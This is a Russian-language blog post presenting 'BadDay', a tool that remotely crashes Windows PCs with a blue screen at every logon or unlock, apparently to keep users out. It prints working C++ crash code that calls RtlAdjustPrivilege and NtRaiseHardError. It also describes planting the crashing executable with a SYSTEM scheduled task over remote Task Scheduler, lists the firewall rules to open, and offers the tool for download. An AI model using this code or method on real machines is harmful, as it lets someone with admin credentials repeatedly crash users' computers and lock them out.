SCROLL
Среднее время на прочтение: 2 мин.

Как вызвать синий экран (BSOD) в Windows машине пользователя при входе в систему.

Для рабочих нужд необходимобыло найти решение чтобы можно было по необходимости вызывать BSOD на удаленной машине пользователя и как либо воспрепятствовать вход в систему для пользователей, при этом систма должна оставаться функционально живой.

Подумав с коллегами, решили что проще всего вызывать BSOD и блокировать вход в систему на ПК для пользователя это написание специальной утилиты, которая будет позволять выполнять все это с рабочего ПК администратора.

Реализация

Реализация выглядит следующим образом, на компьютере пользователя размещается специальный файл (который при запуске вызывает BSOD) и создаётся задание в Планировщик задач Windows с условиями, что при входе в систему или разблокировки ее любым пользователем, запускать эту самую программу, тем самым вызывая BSOD.

Для вызова BSOD мы явно инициируем «жесткую» ошибку системы с кодом STATUS_ASSERTION_FAILURE, используя низкоуровневый системный вызов NtRaiseHardError, реализация выглядит так:

C++
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus,
    ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters, ULONG ValidRespnseOption, PULONG Response);

int main()
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);

	BOOLEAN b;
	unsigned long response;

	RtlAdjustPrivilege(19, true, false, &b);
    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response);
}

Программа BadDay

Написана программа на C++ с использованием WinAPI.

На машине пользователя должны быть включены следующие правила Firewall:

Remote Scheduled Tasks Management (RPC)
Remote Scheduled Tasks Management (RPC-EPMAP)
Windows Management Instrumentation (DCOM-In)
Windows Management Instrumentation (WMI-In)
Windows Management Instrumentation (ASync-In)

В противном случае подключение к удаленному Task Schedule завершится неудачей. В доменной среде это легко можно включить при помощи GPO.

Описание

Рабочий каталог утилиты — C:\Program Files\BadDay. В нем распологается файл bcry.exe, который вызывает BSOD при исполнении.

При активации режима BadDay создается задание в Task Schedule работающее от имени SYSTEM и запускает bcry.exe при входе пользователя в систему или если он заблокировал ПК и при последующей его разблокировки.

Описание действия кнопок:

  • "-" : очистить поле ввода IP-адреса.
  • Valid : проверить сетевую доступность введенного IP адреса.
  • Test Connection : проверить возможность удаленной настройки задания в Task Schedule.
  • GetTask : проверить наличие задания [BadDay] на указанной машине.
  • RunTask : принудительно запустить задание [BadDay] на указанной машине, если оно там имеется.
  • Activate [BadDay] : создать задание [BadDay] на указанной машине.
  • De-Activate [BadDay] : удалить задание [BadDay] на указанной машине.
  • __call_bsod : вызвать BSOD на указанной машине разово.
Успешно протестировано на Windows 10/11 (в доменном окружении), но и не в доменном тоже будет работать, главное чтобы были открыты порты на Firewall и имелась учётная запись с правами локального администратора.
Скачать “BadDay” badday_1.1.zip – Загружено 1 раз – 1,85 МБ

Если есть вопросы, предложения и нашли «баг», прошу в комментарии.

 

ПОНРАВИЛАСЬ ИЛИ ОКАЗАЛАСЬ ПОЛЕЗНОЙ СТАТЬЯ, ПОДДЕРЖИ АВТОРА ДОНАТОМ

Обсуждение

0 комментариев

Нет комментариев.